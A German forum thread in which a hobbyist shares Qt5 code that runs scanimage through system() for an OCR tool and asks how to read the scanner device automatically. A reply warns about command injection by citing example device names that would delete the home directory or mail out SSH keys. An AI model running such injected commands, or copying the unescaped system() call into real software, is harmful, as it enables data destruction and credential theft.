• Diese Seite verwendet Cookies. Indem du diese Website weiterhin nutzt, erklärst du dich mit der Verwendung von Cookies einverstanden. Erfahre mehr

Scanner Device in Qt5 Variable einlesen

R

ralli

Guest
Themenstarter #1
Ich habe mit Qt5 ein kleines Programm namens OcrMaker geschrieben. Es ist eine GUI um eine normale DIN A4 Seite einzuscannen und mittels tesseract in weiter zu verarbeitenden Text zu konvertieren.

Guckst Du hier:

OcrMaker.png


Code:
void MainWindow::on_actionScannen_triggered()
{

//    QString Scannerdevice = system('scanimage -L > scanner');

    QString Pfad = QCoreApplication::applicationDirPath ();

    // CUPS Verbindung:    hp:/usb/Photosmart_C4100_series?serial=MY6A9G11T204J7

    QString Device = "scanimage -d hpaio:/usb/Photosmart_C4100_series?serial=MY6A9G11T204J7";

    QString Bildformat = "--format=tiff";

    QString Scanmodus = "--mode lineart";

    QString Aufloesung = "--resolution 300";

    QString Dokuformat = "-x 210 -y 295";

    QString Ausgabedatei = "> " + Pfad + "/eingabe.tif";

    QString Befehl = Device + " " + Bildformat + " " + Scanmodus + " " + Aufloesung + " " + Dokuformat + " " + Ausgabedatei;

    QString Ergebnis = "";

    Ergebnis = system(Befehl.toUtf8());

}
Das funktioniert auch einwandfrei. Nur habe ich der String Variablen Device mein bekanntes Scannerdevice quasi statisch zugewiesen. Ich möchte aber, das das Scanner Device des eingeschalteten Scanners mittels Scanimage -L mittels und von QT in die Variable Device eingelesen wird, so das jeder User mit dem Programm arbeiten kann. Bekomme das nicht hin, bin ja kein QT Profi. Das würde ich dann auch der Gemeinde bei Interesse zur Verfügung stellen. Mir hat das Programm, was ich gerade von Qt4 auf Qt5 portiert habe, in den vergangenen Jahren hilfreich zur Seite gestanden, wenn ich mal schnell eine Buchseite einscannen wollte. Dafür reicht es.
 

tcberner

Well-Known Member
#2
Hoi Ralli

Ich hoffe mal, dass keiner ne Scanner device "; rm -rf ~ ;" oder ";cat ~/.ssh/* | mail foo ;" hat :-)

Wozu Qt hier? das sieht eher nach einem Shellscript aus, was du da machst :) -- Mit Qt könntest du z.b. direkt libsane verwenden und die Scanner Devices ausfindig machen. Und ansonsten einfach die 'scanimage -L' parsen :)



mfg Tobias
 
R

ralli

Guest
Themenstarter #3
Wozu Qt hier? das sieht eher nach einem Shellscript aus, was du da machst :) -- Mit Qt könntest du z.b. direkt libsane verwenden und die Scanner Devices ausfindig machen. Und ansonsten einfach die 'scanimage -L' parsen :)
Na klar Tobias, Qt ist in diesem Fall wie mit Kanonen auf Spatzen schießen.;) Der Code könnte auch verbessert werden, wenn ich eine Parameterliste und die Klasse Prozess verwenden würde. Ich fand es jedenfalls komfortabel, das ich den eingescannten Text samt OCR direkt im integrierten Textwidget weiter verarbeiten konnte. Und natürlich auch den veränderten Text direkt aus dem Progemm ausdrucken konnte.

Ein Shell Script dafür für die Konsole habe ich auch erstellt, funktioniert einwandfrei. Ist ja nicht so schwierig ....

Guckst Du hier:

Code:
#!/bin/sh

scanimage -d hpaio:/usb/Photosmart_C4100_series?serial=MY6A9G11T204J7 --format=tiff --mode lineart --resolution 300 -x 210 -y 295 > /home/ralph/Dokumente/ocrarbeit/eingabe.tif
Kleine Spielerei, muß mich als Rentner ja auch ein bißchen beschäftigen. Ich dachte nur, das es vielleicht den einen oder anderen User interessieren würde, ansonsten bei mir läuft es ja. Und ich habe jetzt keine Lust mehr, in die Tiefen von Qt5 einzutauchen und sehe das Problem als erledigt an. Trotzdem Danke Tobias für das Feedback.:)